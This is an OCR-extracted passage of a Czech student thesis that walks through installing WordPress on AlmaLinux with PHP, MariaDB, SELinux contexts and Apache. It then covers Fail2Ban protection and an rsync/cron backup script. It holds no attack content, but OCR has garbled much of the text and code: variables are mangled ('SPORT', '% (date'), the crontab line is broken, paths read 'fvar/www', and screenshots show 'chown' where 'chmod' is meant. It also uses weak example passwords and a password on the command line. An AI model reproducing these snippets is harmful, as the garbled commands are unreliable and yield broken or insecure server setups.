php-mysqlnd xB6_64 8.3.29-1.e110_1 appstrean 136 k
php-pecl-zip xB6_64 1.22.3-5.el10 appstream 65 k
php-soap xB86_64 8.3.29-1.el10_1 appstream 143 k
php-xml xB86_64 8.3.29-1.el10_1 appstream 145 k
Instalovani zavislosti:

capstone xB6_64 5.0.1-6.el10 appstream l1.eM
1libzip x86_64 1.10.1-5.el10 appstream 68 k
nginx-filesystem noarch 2:1.26.3-1.el10 appstream 11 k
php-pdo xB86_64 8.3.29-1.el10_1 appstream 85 k
Instalovani slabych zavislosti:

php-cli xB6_64 8.3.29-1.el10_1 appstream 2.2 M
php-fpm xB6_64 8.3.29-1.el10_1 appstream 1.9M
php-opcache xB86_64 8.3.29-1.el10_1 appstream 363 k

Shrnuti transakce

Instalovat 17 baliéki

Obrazek 27: Instalace PHP a potfebnych modult
Zdroj: Vlastni prdce

Po dokonceni instalace bylo ovéreno, zda je PHP spravné nainstalovano a jaka verze je aktualné
pouzivana. K provedeni byl vyuzZit pfikaz:

php -v

root@localhost: /home/jmarek# php -v
PHP 8.3.29 (cli) (built: Dec 16 2025 14:32:42) (NTS gcc xB6_64)
Copyright (c) The PHP Group
Zend Engine v4.3.29, Copyright (c) Zend Technologies

with Zend OPcache v8.3.29, Copyright (c¢), by Zend Technologies
root@localhost: /home/jmarek#

Obrazek 28: Kontrola verze PHP
Zdroj: Vlastni prdce

2.4.4 Vytvoreni databaze

Nastaveni databazového serveru je pomérné jednoduchy proces a provadi se pomoci zdkladnich
SQL prikazl. Nejprve je nutné se pfihlasit do databazového serveru MariaDB pomoci pfikazu:

mysql -u root -p

Po zadani tohoto prikazu je uZivatel vyzvan k zadani hesla administratora databdze. Po jeho
zaddni se otevre interaktivni prostiedi databazového serveru.
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root@localhost:/home/jmarek# mysql -u root -p

Enter password:

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 3

Server version: 10.11.15-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> I

Obrazek 29: Prihlaseni do databaze
Zdroj: Vlastni prdace

Nasledné byla provedena sada SQL prikazli pro vytvoreni databaze a uZivatele pro systém
WordPress. Nejprve byla vytvofena databaze s ndzvem wordpress_db pomoci pfikazu:

CREATE DATABASE wordpress_db;

Poté byl vytvoren databazovy uZivatel s ndzvem wordpress_user, ktery bude slouZit pro pfistup
WordPressu k databazi:

CREATE USER 'wordpress_user'@'localhost' IDENTIFIED BY 'DB_password’;

Nasledné byla tomuto uZivateli pfifazena oprdvnéni k praci s vytvofenou databazi pomoci
pfikazu:

GRANT ALL ON wordpress_db.* TO 'wordpress_user'@'localhost’;
Aby se zmény v opravnénich projevily, byl pouzit prikaz:

FLUSH PRIVILEGES;

Nakonec bylo prostfedi databazového serveru ukonceno prikazem:

EXIT
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root@localhost:/home/jmarek# mysql -u root -p

Enter password:

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 3

Server version: 10.11.15-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c¢' to clear the current input statement.

MariaDB [(none)]> CREATE DATABASE wordpress_db;
Query 0K, 1 row affected (0,000 sec)

MariaDB [(none)]> CREATE USER ‘wordpress_user '@ localhost' IDENTIFIED BY 'Passwordl®’;
Query OK, © rows affected (0,002 sec)

MariaDB [(none)]> GRANT ALL ON wordpress_db.* TO 'wordpress_user'@’localhost’;
Query OK, @ rows affected (0,002 sec)

MariaDB [(none)]> FLUSH PRIVILEGES;
Query OK, @ rows affected (0,000 sec)

MariaDB [(none)]> EXIT;
Bye
root@localhost: /home/jmarek# I

Obrazek 30: Nastaveni databaze
Zdroj: Vlastni prace

Po provedeni téchto krok(l byla databaze pfipravena pro pouZiti redakénim systémem
WordPress.

2.4.5 Stazeni ainstalace WordPressu

Po dokonceni instalace LAMP stacku bylo moZné pfistoupit k instalaci redakéniho systému
WordPress. Prvnim krokem bylo stazeni instala¢niho balicku WordPressu.

Oficidlni repozitare distribuce AlmaLinux neobsahuji aktualni verzi systému WordPress, proto

bylo nutné stahnout instalacni balicek pfimo z oficidlnich stranek projektu pomoci nastroje wget.

Stazeni probéhlo pomoci nasledujiciho pfikazu:

wget https://wordpress.org/latest.tar.gz

root@localhost:/home/jmarek# wget https://wordpress.org/latest.tar.gz

--2026-02-26 21:52:37-- https://wordpress.org/latest.tar.gz

Prekladam wordpress.org (wordpress.org).. 198.143.164.252, 2607:f978:5:8002: :c68f:adfc
Navazuje se spojeni s wordpress.org (wordpress.org)|198.143.164.252|:443.. spojeno.
HTTP pozadavek odeslan, program ceka na odpovéd.. 200 OK

Délka: 27062929 (26M) [application/octet-stream]

Ukladam do: ,latest.tar.gz”

latest.tar.gz 100%[ =========================>] 25 8IM 6,60MB/s za 4,5s
2026-02-26 21:52:43 (5,70 MB/s) - ,latest.tar.gz” ulozeno [27062929/27062929]
root@localhost:/home/jmarek# I

Obrazek 31: Stazeni instalacniho balicku WordPress
Zdroj: Vlastni prdce
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StaZzeny archiv byl nasledné rozbalen pomoci ptikazu:

tar -xvzf latest.tar.gz

root@localhost:/home/jmarek# tar -xvzf latest.tar.gz
wordpress/

wordpress/index.php

wordpress/license. txt
wordpress/readme.html
wordpress/wp-activate.php
wordpress/wp-admin/
wordpress/wp-admin/about.php
wordpress/wp-admin/admin-ajax.php
wordpress/wp-admin/admin-footer.php
wordpress/wp-admin/admin-functions.php
wordpress/wp-admin/admin-header.php
wordpress/wp-admin/admin-post.php
wordpress/wp-admin/admin.php
wordpress/wp-admin/async-upload.php
wordpress/wp-admin/authorize-application.php
wordpress/wp-admin/comment.php
wordpress/wp-admin/contribute.php
wordpress/wp-admin/credits.php
wordpress/wp-admin/css/
wordpress/wp-admin/css/about-rtl.css
wordpress/wp-admin/css/about-rtl.min.css
wordpress/wp-admin/css/about.css
wordpress/wp-admin/css/about.min.css
wordpress/wp-admin/css/admin-menu-rtl.css

Lwardnrace funcadminfree fadminomanii-r+] min rce

Obrazek 32: Rozbaleni instalacniho balicku WordPress
Zdroj: Vlastni prace

Po rozbaleni bylo nutné pfesunout instalacni soubory do adresare webového serveru Apache,
aby byly dostupné prostfednictvim webového prohlize¢e. Standardné se webové soubory
ukladaji do adresare /var/www/html, avSak pro lepsi pfehlednost byla vytvorena samostatna
slozka s ndzvem wordpress.

Adresar byl vytvofen pomoci pfikazu:
mkdir /var/www/wordpress
Nasledné byly soubory WordPressu presunuty do tohoto adresare:

mv wordpress/* /var/www/wordpress/

root@localhost: /home/jmarek# mkdir /var/www/wordpress
root@localhost:/home/jmarek# mv wordpress/* /var/www/wordpress/
root@localhost: /home/jmarek#

Obrazek 33: Pfesunuti instalacniho balicku WordPress
Zdroj: Vlastni prdace
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bezpecnostniho mechanismu SELinux byla vyZadovana Uprava

bezpecnostnich kontextl soubord, aby byl zajistén korektni pristup webového serveru Apache.

Operace byla realizovana prostfednictvim nasledujicich prikaz(:

semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/wordpress(/.*)?"

restorecon -Rv /var/www/wordpress.

root@l

root@localhos

Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Relabeled
Frelabeled
Relabeled
Relabeled
Relabeled
L Ralahalad

calhos

home/jmarek# semanage fcontext -a -t httpd_sys_rw_content_t °/var/www/wordpress(/.*)?"
t:/home/jmarek# restorecon -Rv fvar/www/wordpress

JSvar/www/wordpress from unconfined_u:object_r:httpd_sys_content_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
Jvar/www/wordpress/index.php from unconfined_u:object_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
JSvar/www/wordpress/license. . txt from unconfined_u:object_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
fvar/www/wordpress/readme html from unconfined_u:object_r:user_home_t:s@ te unconfined_uw:object_r:httpd_sys_rw_content_t:s@

Jvar fwww/wordpress /wp-
Jvar fwww/wordpress /wp-
Svar/www/wordpress/wp-
Svar/www/wordpress/wp-
fvaxfwww/wordpress/wp-
Svaxfwww/wordpress/wp-
Svaxfwww/wordpress/wp-
Svaxfwww/wordpress/wp-
Svar/www/wordpress/wp-
Svar/www/wordpress/wp-
Svarxfwww/wordpress/wp-
Svarfwww/wordpress/wp-
Svarfwww/wordpress/wp-
Svarfwww/wordpress/wp-
Svarfwww/wordpress/wp-
Svar/www/wordpress/wp-
JSvar fwww/wordpress/wp-
Jvar fwww/wordpress/wp-
Jvar fwww/wordpress/wp-

Fuay fumw fanrdnraee fan.

activate.php frem unconfined_u:ebject_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@

admin from unconfined_u:object_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@

admin/images frem unconfined_u:ebject_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/about-release-badge.svg from unconfined_u:eobject_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t
admin/images/about-release-loge.svg from unconfined_u:object_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:
admin/images/about-texture.png from unconfined_u:object_r:iuser_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/align-center-2x.png from unconfined_u:object_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/falign-center.png from unconfined_u:object_riuser_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/align-left-2x.png from unconfined_u:object_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/align-left.png from unconfined_u:object_riuser_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/align-none-2x.png from unconfined_u:object_riuser_home_t:s@ to wunconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/align-none.png from unconfined_u:object_riuser_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/align-right-2x.png from unconfined_u:object_r:user_home_t:s@ to wunconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/align-right.png from unconfined_u:object_riuser_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/arrows-2x.png from unconfined_u:object_riuser_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/arrows.png from unconfined_u:object_riuser_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/browser-rtl.png from unconfined_u:object_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/browser.png from unconfined_u:eobject_riuser_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@
admin/images/bubble_bg-2x.gif from unconfined_u:object_r:user_home_t:s@ to unconfined_u:object_r:httpd_sys_rw_content_t:s@

adminfimanae fhubkla hn nif fram unranfinad usahiart vonear hama toel +tn uncanfinad usahdart rohttnd cue v rantant +oefl

Obrazek 34: Nastaveni bezpeénostniho kontext SELinux
Zdroj: Vlastni prdce

Dale bylo nutné nastavit spravna pfistupova opravnéni k souboriim, aby webovy server mohl

s témito soubory pracovat. Nastaveni opravnéni bylo provedeno pomoci nasledujicich prikaz(:

chown -R root:apache /var/www/wordpress

chmod -R 755 /var/www/wordpress

chown -R apache:apache /var/www/wordpress/wp-content

root@localhost:/home/jmarek# chown -R root:apache /var/www/wordpress
root@localhost: /home/jmarek# chown -R 755 /var/www/wordpress
root@localhost: /home/jmarek# chown -R apache:apache /var/www/wordpress/wp-content

root@localhost:/home/jmarek# I

Obrazek 35: Nastaveni pfistupovych opravnéni
Zdroj: Vlastni prdce

Poslednim krokem bylo vytvoreni konfiguraéniho souboru pro Apache Virtual Host, ktery urcuje,
odkud ma webovy server nacitat soubory WordPressu. Konfiguracni soubor byl vytvofen pomoci
textového editoru nano:

nano /etc/httpd/conf.d/wordpress.conf

39



Vysokd Skola polytechnickd Jihlava

jmarek@localhost:/home/jmarek — nano fetc/httpd/conf.d/wordpress.conf =

GNU nmano 8.1 Jetc t f Zménéno
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName 192.168.0.10
DocumentRoot /fvar/www/wordpress

<Directory /var/www/wordpress>
Options FollowSymliks
AllowOverride All
Require all granted
</Directory>

Errorlog /var/log/httpd/wordpress_error.log
CustomLog fvar/log/httpd/wordpress_access.log combined
</Virtua'LHost>I

Obrazek 36: Vytvoreni konfiguracniho souboru
Zdroj: Vlastni prdce

Po dokonceni konfigurace bylo nutné restartovat webovy server Apache, aby se nova nastaveni
projevila:

systemctl restart httpd

2.4.6 Dokonceni nastaveni

Po dokonceni vSech instalaci na serveru bylo mozné prejit k findlnimu nastaveni systému
WordPress. Na libovolném zafizeni ve stejné siti stacilo otevrit webovy prohlizec a do adresniho
radku zadat IP adresu serveru. Nasledné se zobrazilo Uvodni instalacni okno systému WordPress,
ve kterém bylo mozné zahadjit konfiguraci aplikace.

Welcome to WordPress. Before getting started, you will need to know the following items.

1. Database name

2. Database username
3. Database password
4. Database host

5. Table prefix (if you want to run more than one WordPress in a single database)

This information is being used to create a wp-config. php file. If for any reason this automatic file creation
does not work, do not worry. All this does is fill in the database information to a configuration file. You
may also simply open wp-config-sample.php in a text editor, fill in your information, and save it as wp-
config.php. Need more help? Read the support article on wp-config.php.

In all likelihood, these items were supplied to you by your web host. If you do not have this information, then you
will need to contact them before you can continue. If you are ready...

Obrazek 37: Uvodni instalacni okno WordPressu
Zdroj: Vlastni prdace
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Po kliknuti na tlacitko ,Let’s go!“ se zobrazil formulaf pro nastaveni pripojeni k databazi. Do
uvedeného formulafe bylo nutné zadat identické Udaje, které byly vyuzity pfi vytvareni databaze
a databazového uZivatele v rdmci predchazejici kapitoly.

Below you should enter your database connection details. If you are not sure about these, contact your host.

Database Name wordpress_db

The name of the database you want to use with WordPress

Username wordpress_user

Your database username.

Password Password1* P Hide

Your database password

Database Host localhost

You should be able to get this info from your web host, if localhost does not work.

Table Prefix wp

If you want to run multiple WordPress installations in a single database, change this.

Submit

Obrazek 38: Nastaveni pfipojeni k databazi
Zdroj: Vlastni prdace

V dalSim kroku se objevila chyba, kterd informovala o tom, Ze WordPress neni schopen
automaticky vytvofit konfiguracni soubor wp-config.php. Dlvodem byla nedostatec¢na
opravnéni k zapisu do adresare aplikace.
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Unable to write to wp-config.php file.
You can create the wp-config.php file manually and paste the following text into it.

Configuration rules for wp-config.php:

/* Add any custom values between this line and the "stop editing" line. */

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if (! defined( 'ABSPATH' ) ) {

define( 'ABSPATH', _DIR__ . '/' );
¥

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php’;

AN

After you've done that, click "Run the installation”.

Run the installation

Obrazek 39: Chyba pfi vytvareni konfiguracnich soubora
Zdroj: Vlastni prace

Vznikla situace byla vyfesena manualnim vytvofenim konfiguracniho souboru ptfimo na serveru
v adresari /var/www/wordpress. Soubor byl vytvoren s vyuzitim textového editoru nano:

nano /var/www/wordpress/wp-config.php

Nasledné byla upravena pristupova opravnéni tak, aby webovy server Apache mél k souborim
potiebny pfistup:

chown -R apache:apache /var/www/wordpress a chmod 640 /var/www/wordpress/wp-
config.php

Nakonec byl webovy server restartovan, aby se nové zmény projevily:

systemctl restart httpd

root@localhost:/home/jmarek# cd /var/www/wordpress
root@localhost:/var/www/wordpress# nano wp-config.php
root@localhost:/var/www/wordpress# chown -R apache:apache /var/www/wordpress
root@localhost: /var/www/wordpress# chown 64@ /var/www/wordpress/wp-config.php
root@localhost:/var/www/wordpress# systemctl restart httpd
root@localhost:/var/www/wordpress# I

Obrazek 40: Ru¢ni vytvoreni konfiguracniho souboru a tprava opravnéni
Zdroj: Vlastni prdce
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Po vyreseni tohoto problému bylo mozné pokracovat v instalaci. Dalsim krokem bylo vytvoreni

administratorského uctu, ktery bude slouZit ke spravé webovych stranek. V ramci uvedeného

kroku byl nastaven nazev webu, uZivatelské jméno administratora, heslo a e-mailova adresa.

Welcome

Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you'll
be on your way to using the mest extendable and powerful personal publishing platform in the world,

Information needed

Please provide the following information. Do not werry, you can always change these settings later.

Site Title

Username

Password

Confirm Password

Your Email

Search engine
visibility

nstall WordPress

bp
WordPress_admin
Usernames can have only alphanumeric characters, spaces, underscores, hyphens,

periods, and the @ symbol.

Passwordl* I 9% Hide |

Very weak

Important: You will need this password to log in. Please store it in a secure location.

+| Confirm use of weak password

admin@your-domain.com

Double-check your email address before continuing.

Discourage search engines from indexing this site

It is up to search engines to honor this request.

Obrazek 41: Vytvoreni administratorského tctu

Zdroj: Vlastni prdce

Po dokonceni popsané faze byla zakladni instalace systému WordPress Uspésné zavrsena.

Success!

WordPress has been installed. Thank you, and enjoy!

Username WordPress_admin
Password Your chosen password.
Log In

Obrazek 42: Dokonceni instalace WordPressu

Zdroj: Vlastni prdce
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Nasledné bylo mozné se do administracniho rozhrani WordPressu pfihlasit z libovolného zafizeni
v siti a zacit vytvaret a spravovat webové stranky.

Obrazek 43: Administratorské rozhrani WordPressu
Zdroj: Vlastni prace

Po dokonceni instalace jiz databaze obsahuje zakladni data aplikace a na serveru bézi funkéni
webova sluzba. Uvedend konfigurace ndsledné umoznila provadét testovani bezpecnosti
serveru a simulovat r(izné typy penetracnich atoka.

2.5 Ochrana portU a prevence brute-force (Fail2ban)

Pfi provozu serveru s otevienymi sitovymi porty je dilezité zajistit jejich ochranu pred
neopravnénymi pokusy o prihlaseni. Jednim z nejéastéjSich typd utok(l je takzvany brute-force
utok, pri kterém utocnik opakované zkousi rlizné kombinace uZivatelského jména a hesla. Pro
ochranu proti témto Utokdm byla na server nainstalovana aplikace Fail2Ban.

Uvedena aplikace monitoruje logy systému a pfi opakovanych neuspésnych pokusech
o prihlaseni automaticky zablokuje IP adresu Utoc¢nika pomoci firewallu.

Protoze balic¢ek Fail2Ban neni soucasti zakladnich repozitaf distribuce AlmalLinux, bylo nejprve
nutné pfidat rozsitujici repozitar EPEL pomoci prikazu:

dnf install epel-release
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root@localhost: /home/jmarek# dnf install epel-release
Posledni kontrola metadat: pfed 14:40:45, Ct 26. Unora 2026, 23:13:00.
Zavislosti vyfeseny.

Balicek Arch Verze Repozitar Veliko
st

Instalovanti:

epel-release noarch 10-6.e110 extras 18 k
Instalovani zavislosti:

selinux-policy-targeted-extra noarch 42.1.7-1.ell10@ crb 711 k
Instalovani slabych zavislosti:

selinux-policy-extra noarch 42.1.7-1.el10 crb 33 k

Shrnuti transakce

Instalovat 3 balicky

Celkova velikost ke stazeni: 762 k

Velikost po nainstalovani: 822 k

Je to ok [a/N]: a

Stahovani baliékd:

(1/3): selinux-policy-targeted-extra-42.1.7-1.e 2.2 MB/s | 711 kB 0:00
L_(2/3): selinux-policy-extra-42.1.7-1.el1l@.noarc 91 kB/s | 33 kB 00:00

Obrazek 44: Pfidani EPEL repozitare
Zdroj: Vlastni prdce

Po pridani repozitare bylo mozné aplikaci nainstalovat pomoci prikazu:

dnf install fail2ban

root@localhost: /home/jmarek# dnf install failZban

Extra Packages for Enterprise Linux 1@ - x86_64 3.7 MB/s | 5.6 MB 00:01
Posledni kontrola metadat: prfed @:00:02, Pa 27. anora 2026, 13:54:41.
Zavislosti vyfeseny.

Balicek Arch  Verze Repozitaf Veliko
st
Instalovanti:

fail2ban noarch 1.1.0-6.e110_0 epel 9.4 k
Instalovani zavislosti:

exim x86_64 4.98.2-2.e110_1 epel 1.5 M
fail2ban-firewalld noarch 1.1.0-6.e110_0 epel 9.6 k
fail2ban-selinux noarch 1.1.0-6.e110_0 epel 31 k
fail2ban-sendmail noarch 1.1.0-6.e110_0@ epel 12 k
fail2ban-server noarch 1.1.0-6.e110_0 epel 561 k
1ibdb x86_64 5.3.28-64.2110_0 epel 763 k
libgsasl x86_64 1.10.0-12.e110_1 epel 154 k
1ibidn x86_64 1.42-4.e110_0 epel 198 k
1libns12 x86_64 2.0.1-1.e110_0 epel 30 k
1ibntlm x86_64 1.8-1.e110_0 epel 32 k
1libopendmarec x86_64 1.4.2-33.el10_1 epel 31 k
1ibspf2 x86_64 1.2.11-16.20210922g1t4915c¢308.e110_0 epel 68 k

. Instalovani slabych zavislosti:

Obrazek 45: Instalace aplikace Fail2Ban
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Zdroj: Vlastni prdce

Po instalaci byla sluzba spusténa a zaroven nastavena pro automatické spousténi pfi startu
systému:

systemctl start fail2ban

systemctl enable fail2ban

root@localhost:/home/jmarek# systemctl start failZban

root@localhost: fhome/jmarek# systemctl enable failZban

Created symlink '/fetc/systemd/system/multi-user.target.wants/failZban.service’ — "Jusz/
1ib/systemd/system/failZban.service”.

root@localhost: fhome/jmarek# I

Obrazek 46: Spusténi sluzby Fail2Ban
Zdroj: Vlastni prdce

Nasledné bylo nutné vytvofit a nakonfigurovat soubor jail.local, ktery slouZi pro vlastni nastaveni
aplikace:

nano /etc/fail2ban/jail.local

[DEFAULT]

#jak dlouho bude IP blokowvana
bantime = 1h

#tasoveé okno sledovani
findtime = 1@m

#kolik pokusu je povoleno
maxretry = 3

#cte logy z systemd journalu
backend = systemd

#ochrana SSH
[sshd]

enabled = true
#ochrana Apache
[apache-auth]

enabled = true

[apache-badbots]
enabled = true

[apache-botsearch]
enabled = true

#ochrana databaze
[mysqld-auth]
enabled = true

Napovéda Zapsat Hledat Vyjmout Provést Umisténi
Ukoncit Oteviit soub Nahradit Viezit Zarovnat Jit na fadek

Obrazek 47: Konfigurace aplikace Fail2Ban
Zdroj: Vlastni prdce

Po provedeni zmén bylo nutné sluzbu restartovat:
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systemctl restart fail2ban

Funkénost aplikace Ize ovérit pomoci prikaz(:
fail2ban-client status

fail2ban-client status sshd

Prostfednictvim uvedenych ptikaz( byly zobrazeny aktivni ochranné mechanismy a seznam
aktud

né blokovanych IP adres.

jmarek@localhogt:/home/jmarek T
root@localhost: /home/jmarek# failZban-client status
Status
- Number of jail: 5
- Jail list: apache-auth, apache-badbots, apache-botsearch, mysgld-auth, sshd
root@localhost: /home/jmarek# failZban-client status sshd
Status for the jail: sshd
- Filter
- Currently failed: @
- Total failed: @
- Journal matches: _SYSTEMD _UNIT=sshd.service + _COMM=sshd + _COMM=sshd-session
- Actions
- Currently banned: @
- Total banned: @
- Banned IP list:
root@localhost:/home/jmarek#

Obrazek 48: Kontrola stavu aplikace Fail2Ban
Zdroj: Vlastni prace

Aplikace Fail2Ban je bézné vyuZivana pri spravé serverd jako ochrana proti automatizovanym
utoklm na sluzby, jako je napfiklad SSH.

2.6 Zalohovani a obnova dat

Zalohovani je duleZitou soucasti zabezpeceni serveru. V pripadé, Ze dojde k napadeni serveru,
ztraté dat nebo chybé administratora, je mozné data obnovit ze zaloh a minimalizovat tak vzniklé
Skody.

Zalohovani lze provadét ru¢né, kdy administrator spousti jednotlivé pfikazy pro vytvoreni zidlohy
a jeji nasledné odeslani na zalohovaci server pomoci SSH. Efektivnéjsi variantou je automatické
zadlohovani pomoci skriptu, ktery vyuziva ndstroj rsync pro prenos dat. Skript je nasledné
spoustén automaticky v nastaveny ¢as pomoci nastroje cron.

2.6.1 Co bylo zdlohovano

Je dulezZité spravné zvolit, kterd data budou zalohovana. Zalohovani celého operacéniho systému
by bylo zbytecné naro¢né na cas i Ulozisté.

v

V rdmci této prace byly zdlohovany nasledujici ¢asti:

e Databaze MariaDB, kterd obsahuje veskerd data redakéniho systému WordPress
(napftiklad uZivatelské ucty, prispévky a nastaveni).

e Soubory WordPressu, ulozené ve slozce /var/www/wordpress.

e Konfigurace serveru, ulozend ve sloZce /etc.
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2.6.2 Automatické zalohovani

Zvolenad implementace vyuziva skript pro automatické a plné zdlohovani, ¢imz eliminuje
neefektivitu ruéniho procesu. Pfi kazdém spusténi dochazi k ukladani vsech vybranych dat, coz
usnadruje technické provedeni a zajistuje kompletni obnovu systému, prestoze zvoleny postup

Vv

klade vyssi naroky na ulozny prostor.
Nejprve byla vytvotrena slozka pro ukladani zaloh:

mkdir /backup

root@localhost: fhome/zaloha# mkdir /backup
root@localhost: fhome/zaloha# chmod 755 /backup
root@localhost: /home/zaloha#

Obrazek 49: Vytvoreni slozky pro zalohy
Zdroj: Vlastni prdce

Pro prenos dat mezi servery byl pouZit nastroj rsync. Bylo ovéfeno, Ze je nainstalovan pomoci
prikazu:

dnf install rsync

root@localhost: /home/zaloha# dnf install rsync

Posledni kontrola metadat: pfed @:15:26, Pa 13. bfezna 2026, 22:49:31.
Balicek rsync-3.4.1-2.el10.x86_64 je jiZ nainstalowvan.

Zavislosti vyTedeny.

Meni co délat.

Hotowvo!

root@localhost: /home/zaloha# I

Obrazek 50: Instalace aplikace rsync
Zdroj: Vlastni prdce

Dale byl vytvorfen SSH kli¢, ktery umozZnuje bezpecné a automatizované pfihlaseni bez nutnosti
zadavani hesla:

ssh-keygen
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root@localhost: /home/zaloha# ssh-keygen

Generating public/private ed25519 key pair.

Enter file in which to save the key (/root/.ssh/id_ed25519):

Enter passphrase for "/root/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:

Your identification has been saved in froot/.ssh/id_ed25519

Your public key has been sawved in /froot/.ssh/id_ed25519.pub

The key fingerprint is:

SHAZ56: 71f550Y rWEZUbJLcOBSL@S+rbLiu/@FR+eDt+hmFZw® root@localhost. localdomain
The key's randomart image is:

+--[ED25519 256]--+

| B
I @=.0 |
| + B.okE= |
| +  Ltot|
| 5. ...o=|
| . o.= ool
| .+ B.+ o |
| .+ %0 o
| o=+=o. o.|
+----[5HAZ56]----- +

root@localhost: /home/zaloha# I

Obrazek 51: Vytvoreni SSH klice
Zdroj: Vlastni prdce

Verejny kli¢ byl nasledné zkopirovan na zédlohovany server:

ssh-copy-id -p 32 jmarek@192.168.0.10.

root@localhost: /home/zaloha# ssh-copy-id -p 32 jmareke@l92.168.0.10

fusr/bin/ssh-copy-id: INFO: Source of key(s) te be installed: "/roet/.ssh/id_ed25519.pub”

fusr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
Jusr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
jmarek@l92.168.0.10 s password:

Number of key(s) added: 1

Now try logging inte the machine, with: "ssh -p 32 "jmarekel92.168.0.10""
and check to make sure that only the key(s) you wanted were added.

root@localhost: /home/zaloha# I

Obrazek 52: Pfenos SSH klice
Zdroj: Vlastni prdce

Poté byl vytvoren skript pro automatické zalohovani:

nano /home/zaloha/backup.sh
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GNU nano 8.1

#! /bin/bash
DATE=% (date +%F)

WEBE="jmarek192.168.0.10"
PORT="32"

BACKUP_DIR="/backup/SDATE"

mkdir -p $BACKUP_DIR

echo "Ziloha WordPress souboril...
rsync -avz -e "ssh -p SPORT" SWEB:/var/www/wordpress $BACKUP_DIR/

echo "Ziloha konfigurace fete..."

rsync -avz -e "ssh -p SPORT" SWEB:/etc $BACKUP_DIR/etc_backup

echo "Ziloha databaze..."

ssh -p $PORT SWEB "mysqldump -u backup -pPasswordl® --all-databases" > $BACKUP_DIR/db backup.sql

echo "Ziloha dokonéena"

E Napovéda E Zapsat i Hledat Vyjmout ! Provést i Umisténi [ Zrudit
Ukonéit Oteviit sougll Mahradit gl Vioiit Zarovnat Jit na Tadefjd Znovu
Obrazek 53: Skript pro automatickou zalohu
Zdroj: Vlastni prdce
Skriptu byla nastavena spustitelna opravnéni:
chmod 755 backup.sh
Pro automatické spousténi skriptu byl pouzit nastroj cron:
crontab -e
Do nastroje zaddme pfikaz, ktery bude skript, spoustét vidy ve dvé hodiny rano:

02 *** /home/zaloha/backup.sh
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2 = = * fhome/zaloha/backup.sh

I R S A A A A

H

!

LI T B |

“/tmp/crontab.bp7aeS” 1L, 33B 1,1 Vie

Obrazek 54: Automatické spusténi skriptu
Zdroj: Vlastni prace

Navrienym zpUsobem bylo zajisténo pravidelné a automatické zalohovani dat bez nutnosti
zasahu administratora.

2.6.3 Obnova dat

Po urcité dobé provozu obou serverll bylo mozné pomoci nastroje Midnight Commander ovéfit,
Ze zalohovani probiha spravné a zaloZni soubory jsou ukladany do pfislusné slozky.
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me [root@localhost.localdomain]:/backup - fust/bin/mc -P fvar/tmp/mc-root/mc.pwd.7755 ]

pouZijte Meta-Tab (nebo Esc+Tab). Dalsim stiskem se vypiSe seznam moZnosti

Obrazek 55: Kontrola zaloh
Zdroj: Vlastni prdce

V pripadé ztraty nebo poskozeni dat je samoziejmé mozné provést jejich obnovu ze zéloh.

Obnova souborll WordPressu a konfigurace serveru probihda zpétnym prenosem dat ze
zalohovaciho serveru pomoci ndastroje rsync. Pro ovéreni funkcnosti obnovy byl pouzit
nasledujici pfikaz:

rsync -avz --dry-run -e “ssh -p 32”/backup/2026-03-28/wordpress/
jmarek@192.168.0.10./var/www/wordpress/

Parametr --dry-run zajisti, Ze nedojde k realnym zménam soubord, ale pouze k simulaci operace.
Diky tomu lze bezpecné ovéfit spravnost nastaveni. Stejny postup lze pouZit také pro obnovu
konfiguraénich soubord ze slozky /etc.

nlnh.@loulhuft;lhumthlolu = = .

root@localhost: /hone/zaloha# rsync -avz --dry-run -e "ssh -p 327 /backup/2026-03-28/wordpress/ jmarek@l92.168.0.10: /varwww/wordpress/
sending incremental file list

sent 111.806 bytes received 452 bytes 74.838,67 bytes/sec
total size is 8@.215.204 speedup is 714,56 (DRY RUN)
root@localhost: /home/zaloha# ]

